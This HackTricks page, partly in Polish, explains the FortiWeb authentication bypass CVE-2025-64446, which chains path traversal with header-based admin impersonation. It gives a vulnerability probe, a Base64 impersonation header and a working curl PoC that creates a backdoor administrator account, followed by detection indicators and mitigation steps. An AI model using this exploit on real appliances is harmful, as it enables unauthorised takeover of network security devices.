Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. Łańcuch dwóch błędów pozwala zdalnemu, niezautoryzowanemu atakującemu na:
- Osiągnąć dostęp do
fwbcgiprzez rozpoczęcie URL od prawidłowego API prefix i wykonanie directory traversal. - Podszyć się pod dowolnego użytkownika (w tym wbudowanego
admin) poprzez przesłanie specjalnego nagłówka HTTP, któremu CGI ufa jako tożsamości.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Zauważono eksploity w środowisku rzeczywistym służące do tworzenia trwałych kont administracyjnych.
Impacted versions (as publicly documented):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
Szybkie sprawdzenie podatności
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretacja: HTTP 200 → prawdopodobnie podatny; HTTP 403 → załatany.
Łańcuch przyczynowy
- API-prefix path traversal to internal CGI
- Każda ścieżka żądania, która zaczyna się od prawidłowego prefiksu API FortiWeb (np.
/api/v2.0/cmdb/lub/api/v2.0/cmd/), może użyć../do przejścia do/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Gdy
fwbcgizostanie osiągnięty, pierwszy filtr wykonuje permisywną weryfikację JSON opartą na pliku przypisanym do ścieżki w/var/log/inputcheck/. Jeśli plik nie istnieje, weryfikacja przechodzi natychmiast. Jeśli plik istnieje, ciało żądania musi być jedynie poprawnym JSON-em. Użyj{}jako minimalnego zgodnego ciała.
- Header-driven user impersonation
- Program odczytuje zmienną środowiskową CGI
HTTP_CGIINFO(pochodzącą z nagłówka HTTPCGIINFO), dekoduje ją z Base64, parsuje JSON i kopiuje atrybuty bezpośrednio do kontekstu logowania, ustawiając domenę/VDOM. Klucze warte uwagi: username,loginname,vdom,profname- Przykładowy JSON do podszycia się pod wbudowanego admina:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 powyższego (stosowane w praktyce):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Schemat nadużycia end-to-end (nieuwierzytelniony → admin)
- Dostań się do
/cgi-bin/fwbcgipoprzez API-prefix traversal. - Prześlij dowolne poprawne ciało JSON (np.
{}), aby spełnić sprawdzenie wejścia. - Wyślij nagłówek
CGIINFO: <base64(json)>, gdzie JSON definiuje docelową tożsamość. - Wykonaj POST z backendowym JSON oczekiwanym przez
fwbcgi, aby wykonać akcje z uprawnieniami (np. utworzyć konto administratora dla trwałości).
Minimalny cURL PoC
- Sprawdź, czy występuje ekspozycja traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Podszyj się pod administratora i utwórz nowego lokalnego użytkownika z uprawnieniami administratora:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Uwagi:
- Dowolna prawidłowa treść JSON wystarczy (np.
{}) jeśli/var/log/inputcheck/<path>.jsonnie istnieje. - Schemat akcji jest wewnętrzny dla FortiWeb; powyższy przykład dodaje lokalnego administratora z pełnymi uprawnieniami.
Wykrywanie
- Żądania docierające do
/cgi-bin/fwbcgiza pośrednictwem ścieżek z prefiksem API zawierających../(np./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Obecność nagłówka
CGIINFOzawierającego Base64 JSON z kluczamiusername/loginname/vdom/profname. - Artefakty po stronie backendu:
- Oddzielne pliki dla każdej ścieżki w katalogu
/var/log/inputcheck/(konfiguracja gate).
- Oddzielne pliki dla każdej ścieżki w katalogu
- Niespodziewane utworzenie administratora i zmiany konfiguracji.
- Szybka weryfikacja: próba traversal zwracająca 200 (eksponowane) vs 403 (zablokowane w poprawionych wersjach).
Łagodzenie
- Zaktualizuj do wersji z poprawką (np.: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) zgodnie z advisory producenta.
- Do czasu załatania:
- Nie eksponuj płaszczyzny zarządzania FortiWeb do niezaufanych sieci.
- Dodaj reguły reverse-proxy/WAF blokujące:
- Ścieżki zaczynające się od
/api/i zawierające../cgi-bin/fwbcgi. - Żądania zawierające nagłówek
CGIINFO.
- Ścieżki zaczynające się od
- Monitoruj i generuj alerty na podstawie powyższych wskaźników wykrycia.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

